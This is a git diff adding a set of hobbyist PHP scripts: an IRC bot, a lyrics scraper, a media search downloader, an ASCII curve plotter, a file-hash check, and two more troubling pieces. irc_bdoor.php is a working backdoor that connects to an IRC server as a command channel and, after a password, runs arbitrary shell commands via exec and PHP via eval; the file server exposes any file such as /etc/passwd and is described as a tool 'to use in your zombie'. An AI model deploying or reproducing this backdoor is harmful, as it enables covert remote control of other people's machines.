--- /dev/null
@@ -0,0 +1,163 @@
+#!usr/bin/php\r
+<?php\r
+//Harvie's HTTPd 0.7\r
+/*\r
+  Allows you to binary safe download any file from remote pc\r
+    http://server:port/file\r
+    http://server:port//etc/passwd\r
+    http://server:port/C:\dir\file\r
+    http://server:port/C:/dir/file\r
+  Since version 0.6 there is filelisting\r
+    http://server:port/dir\r
+    http://server:port//etc\r
+    http://server:port/C:/dir\r
+    http://server:port/C:/dir/\r
+  You can also play multimedia like streams (using XMMS, Winamp, etc...)\r
+  But this can serve only one file a time\r
+    (if you are streaming or downloading, you can download/browse anything other,\r
+    but you can use download manager to download file by file...)\r
+  You can change port or interface by passing arguments\r
+  Usage: (httpd.php [port] [interface_IP])\r
+  This is very nice utility to use in your zombie.\r
+*/\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+$interface = "127.0.0.1";\r
+//$interface = "192.168.2.130";\r
+$port = 80;\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+$okheader = //Header 200 FILE\r
+  "HTTP/1.0 200 OK\n".\r
+  "Server: Harvie's HTTPd\n".\r
+  "Connection: close\n\n";\r
+\r
+$dirheader = //Header 301 DIR\r
+  "HTTP/1.0 301 Moved Permanently\n".\r
+  "Server: Harvie's HTTPd\n".\r
+  "Location: %DIR%\n".\r
+  "Connection: close\n\n";\r
+\r
+$badheader = //Header 404\r
+  "HTTP/1.0 404 File not found!\n".\r
+  "Server: Harvie's HTTPd\n".\r
+  "Connection: close\n\n";\r
+\r
+$err404 = "ERR 404 - NOT FOUND!"; //Error 404\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+if(isset($argc)) {\r
+  if($argc > 1) $port = trim($argv[1]);\r
+  if($argc > 2) $interface = trim($argv[2]);\r
+}\r
+\r
+///FUNCTIONS//////////////////////////////////////////////////////////////////////\r
+function send_dir_listing($fp, $directory) {\r
+       $num = "0"; \r
+  //Header\r
+  @fwrite($fp, "<html>\n<head><title>Index of $directory</title></head>\n<body><tt>\n");\r
+  @fwrite($fp, "<b>Available volumes:</b><br />\n");\r
+  \r
+  //Special folders\r
+  @fwrite($fp, "[<a href=\"/\">/</a>]\n"); //Server root\r
+  @fwrite($fp, "[<a href=\"//\">//</a>]\n"); //Unix root (if running unix)\r
+  \r
+  //Available volumes\r
+  $dsks = "cdefghijklmnopqrstuvwxyz"; //Show this volumes (if available)\r
+  for($i=0;$i<strlen($dsks);$i++) {\r
+    if(is_dir($dsks[$i].":")) {\r
+      $vol = $dsks[$i];\r
+      @fwrite($fp, "[<a href=\"/$vol:/\">$vol:</a>]\n");\r
+    }\r
+    //echo($dsks[$i].":");\r
+  }\r
+  @fwrite($fp, "<br />\n\n");\r
+  \r
+  //Directory listing\r
+  @fwrite($fp, "<b>Directory listing of $directory :</b><br /><br />\n\n");\r
+  @fwrite($fp, "[DIR] <a href=\"./../\">Parent Directory (../)</a><br />\n");\r
+       $files=opendir ($directory); \r
+               while (false!==($file = readdir($files))) \r
+               { \r
+                               if ($file != "." && $file != "..") \r
+                               { \r
+            $num++;\r
+            if(is_dir("$directory/$file")) {\r
+              fwrite($fp, "$num - [DIR] <a href=\"./$file\">$file</a><br />\n");\r
+            } else {\r
+              fwrite($fp, "$num - <a href=\"./$file\">$file</a><br />\n");\r
+            }\r
+                               } \r
+               }\r
+    \r
+    //Footer\r
+               fwrite($fp, "<br />\n<b>Total: $num</b>\n</tt></body>\n</html>");\r
+}\r
+\r
+///CODE///////////////////////////////////////////////////////////////////////////\r
+echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n");\r
+//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only\r
+set_time_limit(0);\r
+$sss = stream_socket_server("tcp://$interface:$port");\r
+\r
+while(1) {\r
+  @$sfp = stream_socket_accept($sss);\r
+  if(!$sfp) continue;\r
+\r
+  $loop = 1;\r
+  while($sfp && !@feof($sfp) && $loop) {\r
+    $line = fgets($sfp);\r
+    //echo($line);\r
+    if(eregi("(GET|POST)", $line)) {\r
+      $line = trim($line);\r
+      //echo($line);\r
+      $line = explode(" ", $line);\r
+      \r
+      $line[1] = trim(urldecode($line[1]));\r
+      \r
+      \r
+      if($line[1] == "/") {\r
+        $line[1] = "./";\r
+      } else {\r
+        $line[1] = substr($line[1], 1);\r
+      }\r
+      \r
+      \r
+      if(is_file($line[1])) { //200 OK FILE\r
+        fwrite($sfp, $okheader);\r
+        echo("200 ".$line[1]);\r
+        $fp = fopen($line[1], "rb");\r
+        while( fwrite($sfp, fgets($fp)) );\r
+        @fclose($sfp);\r
+        echo(" SENT!\n");\r
+      }\r
+      \r
+      elseif(is_dir($line[1])) { //200 OK DIR\r
+        if(substr($line[1], strlen($line[1])-1) != "/") { //301 MOV DIR\r
+          $header = ("/".$line[1]."/");\r
+          echo("301 ".$line[1]." -> $header\n");\r
+          $header = str_replace("%DIR%", $header, $dirheader);\r
+          //$header = str_replace("./", "./", $dirheader);\r
+          //echo($header);\r
+          fwrite($sfp, $header);\r
+          @fclose($sfp);\r
+          break;\r
+        }\r
+        echo("200 [DIR] ".$line[1]."\n");\r
+        send_dir_listing($sfp, $line[1]);\r
+      }\r
+      \r
+      else { //404 NOT FOUND\r
+        echo("404 ".$line[1]."\n");\r
+        fwrite($sfp, $badheader);\r
+        fwrite($sfp, $err404);\r
+        @fclose($sfp);\r
+      }\r
+      \r
+      $loop = 0;\r
+    }\r
+  }\r
+  @fclose($sfp);\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/http_server_old.php b/php/skripty/http_server_old.php
new file mode 100644 (file)
index 0000000..f99cc70
--- /dev/null
@@ -0,0 +1,88 @@
+#!usr/bin/php\r
+<?php\r
+//Harvie's HTTPd 0.5\r
+/*\r
+  Allows you to binary safe download any file from remote pc\r
+    http://server:port/file\r
+    http://server:port//etc/passwd\r
+    http://server:port/C:\dir\file\r
+    http://server:port/C:/dir/file\r
+  You can also play multimedia like streams (using XMMS, Winamp, etc...)\r
+  But this can serve only one file a time\r
+    (if you are streaming or downloading, you can download/browse anything other,\r
+    but you can use download manager to download file by file...)\r
+  You can change port or interface by passing arguments\r
+  Usage: (httpd.php [port] [interface_IP])\r
+  This is very nice utility to use in your zombie.\r
+*/\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+$interface = "127.0.0.1";\r
+$port = 81;\r
+$index = "index.html";\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+$okheader = //Header 200\r
+  "HTTP/1.0 200 OK\n".\r
+  "Server: Harvie's HTTPd\n".\r
+  "Connection: close\n\n";\r
+\r
+$badheader = //Header 404\r
+  "HTTP/1.0 404 File not found!\n".\r
+  "Server: Harvie's HTTPd\n".\r
+  "Connection: close\n\n";\r
+\r
+$err404 = "ERR 404 - NOT FOUND!"; //Error 404\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+if(isset($argc)) {\r
+  if($argc > 1) $port = trim($argv[1]);\r
+  if($argc > 2) $interface = trim($argv[2]);\r
+}\r
+\r
+echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n");\r
+//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only\r
+set_time_limit(0);\r
+$sss = stream_socket_server("tcp://$interface:$port");\r
+\r
+while(1) {\r
+  @$sfp = stream_socket_accept($sss);\r
+  if(!$sfp) continue;\r
+\r
+  $loop = 1;\r
+  while($sfp && !@feof($sfp) && $loop) {\r
+    $line = fgets($sfp);\r
+    //echo($line);\r
+    if(eregi("(GET|POST)", $line)) {\r
+      $line = trim($line);\r
+      //echo($line);\r
+      $line = explode(" ", $line);\r
+      \r
+      $line[1] = urldecode($line[1]);\r
+      \r
+      if($line[1] == "/") {\r
+        $line[1] = $index;\r
+      } else {\r
+        $line[1] = substr($line[1], 1);\r
+      }\r
+      \r
+      if(is_file($line[1])) { //200 OK\r
+        fwrite($sfp, $okheader);\r
+        echo("200 ".$line[1]."\n");\r
+        $fp = fopen($line[1], "rb");\r
+        while( fwrite($sfp, fgets($fp)) );\r
+        @fclose($sfp);\r
+      } else { //404 NOT FOUND\r
+        echo("404 ".$line[1]."\n");\r
+        fwrite($sfp, $badheader);\r
+        fwrite($sfp, $err404);\r
+        @fclose($sfp);\r
+      }\r
+      \r
+      $loop = 0;\r
+    }\r
+  }\r
+  @fclose($sfp);\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/integrity_check.php b/php/skripty/integrity_check.php
new file mode 100644 (file)
index 0000000..27e51f8
--- /dev/null
@@ -0,0 +1,10 @@
+<?php\r
+\r
+function file_chceck($file, $cycles = 4) {\r
+  $md5 = md5_file($file);\r
+  for(;$cycles>0;$cycles--) {\r
+    $last_md5 = $md5;\r
+    if( ($md5 = md5_file($file)) != $last_md5 ) { return 0; }\r
+  }\r
+  return 1;\r
+}\r
diff --git a/php/skripty/irc_bdoor.php b/php/skripty/irc_bdoor.php
new file mode 100644 (file)
index 0000000..2dc3f34
--- /dev/null
@@ -0,0 +1,162 @@
+<?php\r
+//HARVESTER IRC BOT\r
+\r
+//Settings:\r
+$server = "irc.2600.net";\r
+$port = "6667";\r
+$channel = "#harviez";\r
+$nick = ("hircz".time());\r
+$pass = "omnibus";\r
+$loged = FALSE;\r
+echo("-NICK: $nick\n"); \r
+error_reporting(0);\r
+error_reporting(E_ERROR);\r
+\r
+//Functions:\r
+function irc_connect( $fp, $nick, $channel, $joinwait ) {\r
+  fwrite($fp, "USER USER $nick # # :$nick\n");\r
+  fwrite($fp, "NICK $nick\n");\r
+    //sleep($joinwait);\r
+  fwrite($fp, "JOIN $channel\n");\r
+}\r
+\r
+function irc_say( $fp, $msg, $nick, $rcpto ) {\r
+  //fwrite($fp, ":$nick!~Harvie@r3ax157.net.upc.cz PRIVMSG $rcpto :$msg\n");\r
+  fwrite($fp, ": PRIVMSG $rcpto :$msg\n");\r
+}\r
+\r
+//Code:\r
+//Init:\r
+$jokes = file($jokefile);\r
+$spam = "";\r
+$rfile = "";\r
+\r
+while(1) { //Auto reconnect\r
+\r
+fclose($sfp);\r
+$sfp = "";\r
+$sfp = fsockopen ($server, $port, &$errno, &$errstr, 5);\r
+irc_connect( $sfp, $nick, $channel, 0 );\r
+$home_channel = $channel;\r
+\r
+while(!fwrite($sfp, "")) {\r
+\r
+  fwrite($sfp, "JOIN $channel\n");\r
+\r
+  //ReadLine from IRC Server\r
+  $line = (fgets($sfp));\r
+  $words = (explode(" ", $line));\r
+  $commands = (explode(":", $line));\r
+  echo($line);\r
+  \r
+  while(!fwrite($sfp, "") && !$loged) {/////////////////////////////////\r
+      fwrite($sfp, "JOIN $channel\n");\r
+      $line = (fgets($sfp));\r
+      $words = (explode(" ", $line));\r
+      $commands = (explode(":", $line));\r
+      echo($line);\r
+      if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r
+        { $loged = FALSE; echo("-UNLOGED\n"); }\r
+      if (trim($commands[2]) == "hlogin" && trim($commands[3]) == $pass)\r
+        { $loged = TRUE; echo("-LOGED\n"); }\r
+  \r
\r
+  //IRC Sever PING/PONG Response\r
+  if ($words[0] == "PING") {\r
+    fwrite($sfp, "PONG ".trim($words[1])."\n");\r
+    echo("-PONG ".trim($words[1])."\n");\r
+  }\r
+  }////////////////////////////////////////////////////////\r
+  \r
+  //Logout\r
+  if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r
+        { $loged = FALSE; echo("-UNLOGED\n"); }\r
+  \r
+  //IRC Sever PING/PONG Response\r
+  if ($words[0] == "PING") {\r
+    fwrite($sfp, "PONG ".trim($words[1])."\n");\r
+    echo("-PONG ".trim($words[1])."\n");\r
+  }\r
+  \r
+  //hplay:file - Prehraje soubor\r
+  if ( trim($commands[2]) == "hplay") {\r
+    if (  is_file( trim($commands[3]) )  ) {\r
+      $rfile = fopen( trim($commands[3]), "r");\r
+    }\r
+    else\r
+    {\r
+    fclose($rfile);\r
+    $rfile = "";\r
+    }\r
+    echo("-FILE: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  if ( $rfile != "" ) {\r
+    irc_say( $sfp, fgetss($rfile), $nick, $channel );\r
+  }\r
+  \r
+  //hhelp - vypise tuto napovedu\r
+  if ( trim($commands[2]) == "hhelp") {\r
+    irc_say( $sfp, "Run out of here man!!!", $nick, $channel );\r
+    echo("-HELPED"."\n");\r
+  }\r
+  \r
+  //hsay:Message - Posle zpravu\r
+  if ( trim($commands[2]) == "hsay") {\r
+    irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+    echo("-SAID: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //hdo:Command - Posle serveru prikaz\r
+  if ( trim($commands[2]) == "hdo") {\r
+    $hdo = explode("hdo:", $line);\r
+    fwrite( $sfp, trim($hdo[1])."\n" );\r
+    echo("-DONE: ".trim($hdo[1])."\n");\r
+  }\r
+  \r
+  //hcmd:Command - Spusti prikaz\r
+  if ( trim($commands[2]) == "hcmd") {\r
+    exec(trim($commands[3]));\r
+    irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+    echo("-CMD: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //heval:Command - Spusti php prikaz\r
+  if ( trim($commands[2]) == "heval") {\r
+    eval(trim($commands[3]));\r
+    irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+    echo("-EVALCMD: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //hpart:Channel - Odpoji se z kanalu\r
+  if ( trim($commands[2]) == "hpart") {\r
+    $hdo = explode("hpart:", $line);\r
+    if ( trim($hdo[1]) != trim($home_channel) ) {\r
+      fwrite( $sfp, "PART :".trim($hdo[1])."\n" );\r
+      echo("-PARTED: ".trim($hdo[1])."\n");\r
+    }\r
+  }\r
+\r
+  //hmove:Channel - Zmeni aktivni kanal\r
+  if ( trim($commands[2]) == "hmove") {\r
+    $hdo = explode("hmove:", $line);\r
+    if ( trim($hdo[1]) != trim($home_channel) ) {\r
+      $home_channel = trim($hdo[1]);\r
+      fwrite($sfp, "JOIN $home_channel\n");\r
+      irc_say( $sfp, "Hi, im here...", $nick, $home_channel );\r
+      echo("-ACTIVATED: ".trim($hdo[1])."\n");\r
+    }\r
+  }\r
+\r
+  //htime - udaje o casu\r
+  if  ( trim($commands[2]) == "htime") {\r
+      $msg = implode("-", getdate(time()));\r
+      irc_say( $sfp, trim($msg), $nick, $channel );\r
+      echo("-TIMED"."\n");\r
+  }\r
+  \r
+}\r
+echo("-Connection lost.\n-Reconnecting\n");\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/irc_bot.php b/php/skripty/irc_bot.php
new file mode 100644 (file)
index 0000000..396a76e
--- /dev/null
@@ -0,0 +1,180 @@
+<?php\r
+//HARVESTER IRC BOT\r
+//by: Harvie 2oo7\r
+\r
+//Settings:\r
+$server = "irc.2600.net";\r
+$port = "6667";\r
+$channel = "#soom";\r
+$nick = "Harvester";\r
+$jokefile = "jokes.txt";\r
+error_reporting(0);\r
+error_reporting(E_ERROR);\r
+\r
+//Functions:\r
+function irc_connect( $fp, $nick, $channel, $joinwait ) {\r
+  fwrite($fp, "USER USER $nick # # :$nick\n");\r
+  fwrite($fp, "NICK $nick\n");\r
+    //sleep($joinwait);\r
+  fwrite($fp, "JOIN $channel\n");\r
+}\r
+\r
+function irc_say( $fp, $msg, $nick, $rcpto ) {\r
+  //fwrite($fp, ":$nick!~Harvie@r3ax157.net.upc.cz PRIVMSG $rcpto :$msg\n");\r
+  fwrite($fp, ": PRIVMSG $rcpto :$msg\n");\r
+}\r
+\r
+//Code:\r
+//Init:\r
+$jokes = file($jokefile);\r
+$spam = "";\r
+$rfile = "";\r
+$sfp = fsockopen ($server, $port, &$errno, &$errstr, 5);\r
+irc_connect( $sfp, $nick, $channel, 0 );\r
+\r
+$home_channel = $channel;\r
+\r
+while(!fwrite($sfp, "")) {\r
+\r
+  fwrite($sfp, "JOIN $channel\n");\r
+\r
+  //ReadLine from IRC Server\r
+  $line = (fgets($sfp));\r
+  echo($line);\r
\r
+  //IRC Sever PING/PONG Response\r
+  $words = (explode(" ", $line));\r
+  if ($words[0] == "PING") {\r
+    fwrite($sfp, "PONG ".trim($words[1])."\n");\r
+    echo("-PONG ".trim($words[1])."\n");\r
+  }\r
+  \r
+  //Prijem pozvanky\r
+  if ( ( trim($words[1]) == "INVITE" ) && ( substr(trim($words[3]), 0, 2) == ":#" ) ) {\r
+      $channel = substr(trim($words[3]), 1);\r
+      fwrite($sfp, "JOIN $channel\n");\r
+      irc_say( $sfp, "Hello", $nick, $channel );\r
+      echo("-JOINED $channel\n");\r
+  }\r
+  \r
+  $commands = (explode(":", $line));\r
+  \r
+  //Harvester - Posle vizitku\r
+  if ( trim($commands[2]) == "Harvester") {\r
+    irc_say( $sfp, ("Ahoj lidi, ja jsem Harvieho bot. Random#: ".rand(0,10)), $nick, $channel );\r
+    echo("-VISITCARD"."\n");\r
+  }\r
+  \r
+  //hspam:Message - Posle zpravu pri kazde prijate\r
+  if ( trim($commands[2]) == "hspam") {\r
+    $spam = trim($commands[3]);\r
+    echo("-SPAM: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  if ( $spam != "" ) {\r
+    irc_say( $sfp, $spam, $nick, $channel );\r
+    //echo("-SAID: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //hplay:file - Prehraje soubor\r
+  if ( trim($commands[2]) == "hplay") {\r
+    if (  is_file( trim($commands[3]) )  ) {\r
+      $rfile = fopen( trim($commands[3]), "r");\r
+    }\r
+    else\r
+    {\r
+    fclose($rfile);\r
+    $rfile = "";\r
+    }\r
+    echo("-FILE: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  if ( $rfile != "" ) {\r
+    irc_say( $sfp, fgetss($rfile), $nick, $channel );\r
+  }\r
+  \r
+  //hhelp - vypise tuto napovedu\r
+  if ( trim($commands[2]) == "hhelp") {\r
+    irc_say( $sfp, "Ja jsem Harvester - vice info na: http://ircbot.wz.cz/", $nick, $channel );\r
+    /*\r
+    irc_say( $sfp, "Harvester - Posle vizitku", $nick, $channel );\r
+    irc_say( $sfp, "hhelp - vypise tuto napovedu", $nick, $channel );\r
+    irc_say( $sfp, "hsay:Message - Posle zpravu", $nick, $channel );\r
+    irc_say( $sfp, "hpsay:to:Message - Posle soukromou zpravu kanalu nebo osobe", $nick, $channel );\r
+    irc_say( $sfp, "hdo:Command - Posle serveru prikaz", $nick, $channel );\r
+    irc_say( $sfp, "hmove:Channel - Pripoji do kanalu / Zmeni aktivni kanal", $nick, $channel );\r
+    irc_say( $sfp, "/invite Harvester #channel - Pozve a pripoji bota do kanalu", $nick, $channel );\r
+    irc_say( $sfp, "hpart:Channel - Odpoji se z kanalu", $nick, $channel );\r
+    irc_say( $sfp, "hjoke - Posle \"nahodny\" vtip", $nick, $channel );\r
+    */\r
+    echo("-HELPED"."\n");\r
+  }\r
+  \r
+  //hsay:Message - Posle zpravu\r
+  if ( trim($commands[2]) == "hsay") {\r
+    irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+    echo("-SAID: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //hpsay:to:Message - Posle soukromou zpravu kanalu nebo osobe\r
+  if ( trim($commands[2]) == "hpsay") {\r
+    irc_say( $sfp, trim($commands[4]), $nick, trim($commands[3]) );\r
+    echo("-SAID: ".trim($commands[4])." -- To: ".trim($commands[3])."\n");\r
+  }\r
+  \r
+  //hcol:to:Message - Posle kolizni zpravu kanalu nebo osobe\r
+  if ( trim($commands[2]) == "hcol") {\r
+    irc_say( $sfp, trim($commands[4]), trim($commands[3]), $channel );\r
+    echo("-COLIDED: ".trim($commands[4])." To: ".trim($commands[3])."\n");\r
+  }\r
+\r
+  //hdo:Command - Posle serveru prikaz\r
+  if ( trim($commands[2]) == "hdo") {\r
+    $hdo = explode("hdo:", $line);\r
+    fwrite( $sfp, trim($hdo[1])."\n" );\r
+    echo("-DONE: ".trim($hdo[1])."\n");\r
+  }\r
+  \r
+  //hpart:Channel - Odpoji se z kanalu\r
+  if ( trim($commands[2]) == "hpart") {\r
+    $hdo = explode("hpart:", $line);\r
+    if ( trim($hdo[1]) != trim($home_channel) ) {\r
+      fwrite( $sfp, "PART :".trim($hdo[1])."\n" );\r
+      echo("-PARTED: ".trim($hdo[1])."\n");\r
+    }\r
+  }\r
+\r
+  //hmove:Channel - Zmeni aktivni kanal\r
+  if ( trim($commands[2]) == "hmove") {\r
+    $hdo = explode("hmove:", $line);\r
+    if ( trim($hdo[1]) != trim($home_channel) ) {\r
+      $home_channel = trim($hdo[1]);\r
+      fwrite($sfp, "JOIN $home_channel\n");\r
+      irc_say( $sfp, "Hi, im here...", $nick, $home_channel );\r
+      echo("-ACTIVATED: ".trim($hdo[1])."\n");\r
+    }\r
+  }\r
+\r
+  //htime - udaje o casu\r
+  if  ( trim($commands[2]) == "htime") {\r
+      $msg = implode("-", getdate(time()));\r
+      irc_say( $sfp, trim($msg), $nick, $channel );\r
+      echo("-TIMED"."\n");\r
+  }\r
+\r
+  //hjoke - Posle nahodny vtip\r
+  if  ( trim($commands[2]) == "hjoke") {\r
+      $joke = ($jokes[ rand(0, (sizeof($jokes)-1) ) ]);\r
+      //$ftip = "Potkaji se dve blondyny a jedna rika te druhe: \"How do you do?\" a ta ji odpovi co? kde ses to naucila? To vis vzdycky pretocim radio doprava a tam mluvi jen anglicky tak se to tak ucim. Potkaji se za 2 tydny a jedna rika druhe How do you do a druha ji odpovi chsrchsrsrshchsrshchs";\r
+      irc_say( $sfp, trim($joke), $nick, $channel );\r
+      echo("-JOKED"."\n");\r
+  }\r
+\r
+  //Navrat do domaciho kanalu\r
+  $channel = $home_channel;\r
+  \r
+}\r
+\r
+echo("-Connection lost.")\r
+\r
+?>\r
diff --git a/php/skripty/jyxobot.php b/php/skripty/jyxobot.php
new file mode 100644 (file)
index 0000000..dcdc278
--- /dev/null
@@ -0,0 +1,82 @@
+<?php\r
+//Jyxo seek\r
+//<-Harvie (2oo7)\r
+/*\r
+Tento skript vam umozni vyhledavat a automaticky stahovat\r
+multimedialni obsah parsovanim z vyhledavaciho enginu jyxo.cz.\r
+*/\r
+\r
+function url2filename($url) {\r
+  $url = explode("/", $url);\r
+  return $url[(sizeof($url)-1)];\r
+}\r
+//die(url2filename("http://johnys-pages.wbs.cz/03_-_Bob_Marley_-_No_woman_no_cry.mp3")); //Debug\r
+\r
+function jyxo_bot($q="",$d="mm",$ereg=".",$notereg="",$cnt=10000000000000,$page=1,$pmax=2,$o="nocls") {\r
+\r
+  $i = 0;\r
+  $results = "";\r
+  $results[$i] = "";\r
+  //$q = str_replace(" ", "+", $q);\r
+  $q = urlencode($q);\r
+  for(;$page<=$pmax;$page++) {\r
+    $request = ("http://jyxo.cz/s?q=$q&d=$d&o=$o&cnt=$cnt&page=$page");\r
+    $fp = fopen($request, "r") or die("   !!! Cannot connect !!!");\r
+    while(!feof($fp)) {\r
+      $line = fgets($fp);\r
+      if(eregi("<div class='r'>", $line) && ereg(" class=ri", $line)) {\r
+        $line = explode("<!--m--><div class='r'><A HREF=\"", $line);\r
+        $line = $line[1];\r
+        $line = explode("\" class=ri", $line);\r
+        $line = trim($line[0]);\r
+        $line = urldecode($line);\r
+      \r
+        if(@eregi($ereg, $line) && !@eregi($notereg, $line) && !in_array($line, $results)) {\r
+          echo("$line\n"); //Output\r
+          //echo("$i:$line\n"); //Indexed Output\r
+          //echo("<a href=\"$line\">$line</a><br />\n"); //XHTML Output\r
+          $results[$i] = $line;\r
+          $i++;\r
+        }\r
+      \r
+      }\r
+    }\r
+    fclose($fp);\r
+  }\r
+  echo("\nTotal: $i\n"); //Sumary Output\r
+  return $results;\r
+}\r
+\r
+//\r
+function download_url_array($results, $download_dir) {\r
+  //$download_dir = $GLOBALS["download_dir"];\r
+  $fails = 0; $done = 0;\r
+  echo("\nDownloading to $download_dir ...\n");\r
+  if(!is_dir($download_dir)) {\r
+    echo("Creating directory: $download_dir\n\n");\r
+    mkdir($download_dir);\r
+  } else { echo("\n"); }\r
+  foreach($results as $id => $url) {\r
+    $file = url2filename($url);\r
+    echo("Downloading $file (#$id)... ");\r
+    $file = "$download_dir\\$file";\r
+    if(!is_file($file) && @copy($url, $file)) {\r
+      echo("Done.\n");\r
+      $done++;\r
+    } else {\r
+      if(is_file($file)) { echo("File already exists "); }\r
+      echo("Failed!\n");\r
+      $fails++;\r
+    }\r
+  }\r
+  $totaldls = ($fails+$done);\r
+  echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n");\r
+}\r
+\r
+///CODE//////////////////////////////////////////////////////////////////////////////////////\r
+$results = jyxo_bot("xavier baumaxa","mm","(.mp3|.ogg)",""); //Text2Search\r
+//print_r($results); //Array Output\r
+//var_dump($results); //Detail debug output\r
+//download_url_array($results, "X:\\JyxoBot"); //Automatic Download\r
+\r
+?>\r
diff --git a/php/skripty/lomena.php b/php/skripty/lomena.php
new file mode 100644 (file)
index 0000000..b732647
--- /dev/null
@@ -0,0 +1,85 @@
+<?php\r
+//This will draw the ASCII neverending sinus curve.\r
+//Writen by (c) Harvie in 2oo6\r
+//This is script for PHP CLI (Not WebPage).\r
+//You can port it to web by replacing "/n" by "<br>/n"\r
+\r
+//Settings:\r
+$start = -3;         //0 //First X\r
+$zero = 0;           //Zero line\r
+$stop = 0.5;           //Last X\r
+$step = 0.1;         //0.1 //Increase X on every line by this number\r
+$reset = "0";        //When X >= reset, then it will be reseted to $resetto (use "" to disable reset).\r
+$resetto = "0.1";    //$resetto\r
+$zoom = 1;           //1 //This will repeat every line few times\r
+$sleep = "15000";    //15000 - Wait between lines in microseconds\r
+$line = (" ");       // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay).\r
+$endline = ("+\n");  // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline).\r
+\r
+//Function:\r
+//You can specify your function here:\r
+function func($x) {\r
+\r
+$offset = 20;    //1.1 //1 //0 -> Zero offset will draw only half of sin curve.\r
+$width = 1;     //20 //35 //40 //This will stretch every line.\r
+\r
+$y = ( ( (3 / $x) + $offset) * $width );\r
+//echo("Debug: ".$x." ".$y." "); //Debug\r
+return ($y);\r
+\r
+}\r
+\r
+//Code:\r
+echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n");\r
+echo (" |                                           y\n");\r
+echo ("-|--------------------------------------------->\n");\r
+echo ("x|\n");\r
+echo (" V\n\n");\r
+\r
+sleep(2);\r
+\r
+//Set x to $start:\r
+$pos = $start;\r
+\r
+//Drawing:\r
+while(1) {\r
+\r
+  //usleep($sleep); //Wait in microseconds\r
+  \r
+  $znaku = func($pos);\r
+  \r
+  $zoom2 = $zoom;\r
+  while ($zoom2 > 0) {\r
+  \r
+    $znaku2 = round($znaku); //It looks better after round ;)\r
+    while ($znaku2 > 0) {\r
+      echo $line;\r
+      $znaku2 = ($znaku2 - 1);\r
+    }\r
+    //echo(" ".$pos); //Debug\r
+    echo ($endline);\r
+    \r
+    $zoom2 = ($zoom2 - 1);\r
+  }\r
+  \r
+  //Draw: Y axis:\r
+    //echo(" ".$pos."\n"); //Debug\r
+  if ($pos == $zero) {\r
+    echo("-+------------------------------------------------------------>\n");\r
+  }\r
+  \r
+  //Increase X:\r
+  $pos = ($pos + $step);\r
+  \r
+  //Reset (for neverending curves, etc...):\r
+  if ( ($pos >= $reset) && ($reset != "") ) {\r
+    $pos = $resetto;\r
+  }\r
+  \r
+  //Stop if $stop is reached:\r
+  if ($pos > $stop) {\r
+    die();\r
+  }\r
+\r
+}\r
+?>\r
diff --git a/php/skripty/lyrics_bot.php b/php/skripty/lyrics_bot.php
new file mode 100644 (file)
index 0000000..72f8e08
--- /dev/null
@@ -0,0 +1,49 @@
+<?php\r
+//Lyrics bot 0.1\r
+//<-Harvie 2oo7\r
+/*\r
+This will search and show lyrics of specified song from lyricsplugin.com...\r
+If you need WinAmp or WMP plug-in, look here: http://www.lyricsplugin.com/\r
+*/\r
+///FUNCTIONS////////////////////////////////////////////////////////////////\r
+function get_lyrics($artist, $title) { //Finds and returns lyrics of song\r
+  $title = urlencode($title);\r
+  $artist = urlencode($artist);\r
+  $url = "http://www.lyricsplugin.com/plugin/?artist=$artist&title=$title";\r
+  //readfile($url); //Debug\r
+  if( !($fp = fopen($url, "r")) ) return("Error_1: Can't connect!");\r
+  \r
+  $lyrics = "";\r
+  while( ($line = trim(fgets($fp))) != "<div id=\"lyrics\">" );\r
+  while( ($line = trim(fgets($fp))) != "</div>" ) {\r
+    $line = strip_tags($line);\r
+    //echo($line."\n");\r
+    $lyrics = $lyrics.$line."\n";\r
+  }\r
+  \r
+  $lyrics = trim($lyrics);\r
+  if($lyrics == "") $lyrics = "Error_2: Lyrics not found!";\r
+  return($lyrics."\n");\r
+}\r
+\r
+function parse_music_info($filename) { //This returns array with music info (0 => Artist, 1 => Title) parsed from filename\r
+  $filename = explode("-", $filename);\r
+  $ret[0] = $filename[0];\r
+  $filename = split("(-|\\.)", $filename[1]);\r
+  $ret[1] = $filename[0];\r
+  \r
+  $ret = str_replace("_", " ", $ret);\r
+  $ret[0] = trim($ret[0]);\r
+  $ret[1] = trim($ret[1]);\r
+  //print_r($filename); //Debug\r
+  //print_r($ret); //Debug\r
+  return $ret;\r
+}\r
+\r
+///CODE/////////////////////////////////////////////////////////////////////\r
+$song = parse_music_info("Jimi_Hendrix_-_Are_you_experienced.mp3");\r
+echo("Lyrics for: ".$song[1]." by: ".$song[0]."\n\n");\r
+echo get_lyrics($song[0] ,$song[1])."\n";\r
+//echo get_lyrics("Jimi Hendrix" ,"Are you experienced");\r
+\r
+?>\r
